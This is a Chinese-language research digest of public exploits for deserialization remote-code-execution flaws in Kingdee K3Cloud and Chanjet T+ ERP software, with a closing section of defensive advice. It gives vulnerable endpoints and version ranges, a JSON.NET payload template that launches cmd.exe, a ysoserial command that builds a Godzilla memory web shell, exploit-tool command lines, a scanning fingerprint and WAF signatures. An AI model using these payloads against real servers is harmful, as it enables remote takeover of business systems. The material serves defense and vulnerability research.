基于 GitHub 公开 PoC 仓库的整理归纳,覆盖金蝶云星空(K3Cloud)与用友畅捷通 T+ 的反序列化漏洞利用技术。所有内容仅供安全研究与防御参考。
一、金蝶云星空(Kingdee K3Cloud)
1.1 漏洞背景
金蝶云星空数据通信默认采用二进制数据格式(BinaryFormatter),在序列化与反序列化过程中未对数据进行签名或校验,导致客户端发出的数据可被攻击者恶意篡改,写入包含恶意代码的序列化数据,达到服务端远程命令执行效果。
- 管理中心默认端口:8000
- 普通应用默认端口:80(同样受影响)
影响版本:
| 版本线 | 受影响范围 |
|---|---|
| 6.x | 低于 6.2.1012.4 |
| 7.x | 7.0.352.16 至 7.7.0.202111 |
| 8.x | 8.0.0.202205 至 8.1.0.20221110 |
1.2 触发端点
/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc
通用格式:/Kingdee.BOS.ServiceFacade.ServicesStub.<ServiceName>.<MethodName>.common.kdsvc
请求特征:Content-Type: text/json,JSON body 中 ap0 参数携带 Base64 编码的 .NET BinaryFormatter 序列化数据。
1.3 Payload 特征识别
Base64 解码后开头可见 AAEAAAD/////——.NET BinaryFormatter 序列化数据的标准签名头。中间可见典型 gadget chain 痕迹:
System.Windows.Forms.AxHost+State— ysoserial.net 触发器System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate+ObjectSerializedRefSystem.Linq.Enumerable+WhereSelectEnumerableIterator— LINQ 链式调用System.DelegateSerializationHolder— 委托序列化System.Reflection.Assembly.Load(Byte[])— 内存加载程序集
内嵌 PE(DLL)具有完整 MZ 头,通过 Assembly.Load() 动态加载,无文件落盘。
1.4 开源 PoC/EXP 汇总
| 仓库 | Stars | 说明 | 技术要点 |
|---|---|---|---|
| Sweelg/Kingdee-erp-Unserialize-RCE | 54 | 金蝶云星空反序列化 RCE POC&EXP | Python 实现,支持批量检测/命令回显/代理 |
| bcvgh/Kingdee_erp_MemShell | 53 | 金蝶星空云反序列化漏洞内存马 | ysoserial + Godzilla 冰蝎内存马 |
| MzzdToT/Kingdee_erp_Unserialize_rce | 33 | 金蝶云星空反序列化命令执行批量扫描 | 带命令回显,批量扫描落盘 vuln.txt |
| yuziiiiiiiiii/Kingdee_k3cloud-ScpSupRegHandler-Upload-POC | 12 | ScpSupRegHandler 任意文件上传检测 | 非反序列化,同系统关联漏洞 |
1.5 利用链技术细节
ActivitySurrogateSelector 链(Sweelg / MzzdToT 使用):
POST kdsvc 端点 (Content-Type: text/json, cmd 头携带命令)
→ JSON "ap0" 参数
→ BinaryFormatter.Deserialize()
→ ActivitySurrogateSelector + LINQ WhereSelectEnumerableIterator
→ DelegateSerializationHolder 委托劫持
→ Assembly.Load(内嵌DLL) # 内存加载,无文件落盘
→ HttpServerUtility + ProcessStartInfo
→ cmd.exe /c <命令> # 命令从 HTTP 请求头读取
→ 结果写入 HTTP 响应回显
判定特征:响应中包含 authority\system 即漏洞存在。
Godzilla 内存马链(bcvgh):
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile
-c "VirtualPath_Godzilla.cs;System.Web.dll;System.dll"
- 参考 GhostWebShell 技术
- 利用
System.Web.HttpContext.Current.Server.Execute()动态编译虚拟路径 Server.Execute+ 随机文件名实现冰蝎内存马驻留- 通过
Response.AddHeader("Errors", ...)回传执行状态
二、畅捷通 T+(Chanjet TPlus)
2.1 QVD-2023-13615 反序列化 RCE
漏洞端点:
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore
Header: X-Ajaxpro-Method: GetStoreWarehouseByStore
Payload 结构(JSON.NET $type 反序列化白名单绕过):
json
{
"storeID": {
"__type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, ...",
"MethodName": "Start",
"ObjectInstance": {
"__type": "System.Diagnostics.Process, System, ...",
"StartInfo": {
"__type": "System.Diagnostics.ProcessStartInfo, System, ...",
"FileName": "cmd",
"Arguments": "/c <命令>"
}
}
}
}利用链:
AjaxPro ashx 处理器
→ JSON.NET 反序列化(__type 白名单过滤缺陷)
→ ObjectDataProvider + ProcessStartInfo
→ cmd.exe /c <命令>(结果写入随机文件名 .txt)
→ GET /tplus/<随机文件名>.txt 回读命令结果
开源工具:
| 仓库 | Stars | 说明 |
|---|---|---|
| zhaoyumi/chanjetTPlusExploit | 5 | Go 实现,QVD-2023-13615 检测+命令回显 |
利用示例:
bash
chanjetTPlusExploit.exe -url http://127.0.0.1:8080/ # 检测
chanjetTPlusExploit.exe -url http://127.0.0.1:8080/ -cmd whoami # 命令执行2.2 关联漏洞(非反序列化)
| 仓库 | 漏洞类型 | 说明 |
|---|---|---|
| Sweelg/QVD-2023-13612_TPlus-SQLvuln | SQL 注入 | QVD-2023-13612 批量 POC |
| zzzz966/YONGYOU_TPlus | 任意文件读取 | DownloadProxy.aspx 读取敏感文件 |
| kailing0220/-T- | 任意文件读取 | DownloadProxy.aspx 变体 |
| Feng-Huang-0520/-T-keyEdit.aspx-SQL- | SQL 注入 | keyEdit.aspx 注入 |
2.3 网络测绘指纹
app="畅捷通-TPlus"
三、防御建议
- 禁用/替换 BinaryFormatter:.NET 应用优先使用 JSON/XML 等带 schema 校验的序列化格式;必须使用 BinaryFormatter 时启用
SerializationBinder白名单严格限制可反序列化类型。 - 签名与完整性校验:对客户端提交的序列化数据做 HMAC 签名校验,防篡改。
- AjaxPro
$type白名单:限制__type/$type反序列化目标类型,禁用ObjectDataProvider、Process、ProcessStartInfo等危险类型。 - WAF 规则:拦截请求体中出现
AAEAAAD/////(Base64 编码的 BinaryFormatter 头)或/kdsvc端点的异常 POST。 - 资产排查:关注管理中心 8000 端口暴露情况,K3Cloud 版本低于 8.1.0.20221110 需升级。